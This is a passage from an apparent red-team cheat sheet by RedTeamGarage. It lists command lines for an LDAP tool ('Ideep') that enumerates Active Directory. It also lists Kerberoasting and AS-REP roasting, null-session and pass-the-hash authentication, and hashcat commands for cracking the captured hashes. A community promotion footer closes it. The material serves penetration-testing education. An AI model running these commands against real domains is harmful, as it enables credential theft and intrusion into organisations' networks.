Unconstrained Deleg.	<code>Ideep ldap ... computers --filter '(uAC:....:=524288)'</code>
SPNs	<code>Ideep ldap -u USER -p PASS -d DOM -s DC spns</code>
Kerberoast + Hashes	<code>Ideep ldap ... kerberoast --output kerb.txt</code>
AS-REP Roast	<code>Ideep ldap ... asreqroast --output asrep.txt</code>
Null-Session AS-REP	<code>Ideep ldap -u " -p " -d DOM -s DC asreqroast</code>
Password Policy	<code>Ideep ldap -u USER -p PASS -d DOM -s DC ppol</code>
Fine-Grained PSO	<code>Ideep ldap -u USER -p PASS -d DOM -s DC pso</code>
GPOs	<code>Ideep ldap -u USER -p PASS -d DOM -s DC gpos</code>
Trusts	<code>Ideep ldap -u USER -p PASS -d DOM -s DC trusts</code>
OUs	<code>Ideep ldap -u USER -p PASS -d DOM -s DC ou</code>
Subnets	<code>Ideep ldap -u USER -p PASS -d DOM -s DC subnets</code>
Locked Accounts	<code>Ideep ldap -u USER -p PASS -d DOM -s DC locked</code>
Full Dump	<code>Ideep ldap -u USER -p PASS -d DOM -s DC all --save</code>
Cache Mode	<code>Ideep cache -d DOM -p ./dump_dir/ users</code>
Pass-the-Hash	<code>-H 'aad3b435b51404eeaad3b435b51404ee:NTHASH' instead of -p</code>
Kerberos Auth	<code>Ideep ldap -u USER -k -d DOM -s DC users</code>
Crack Kerberoast	<code>hashcat -m 13100 kerb.txt rockyou.txt</code>
Crack AS-REP	<code>hashcat -m 18200 asrep.txt rockyou.txt</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Democratize offensive security education — free, practical, no-nonsense.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.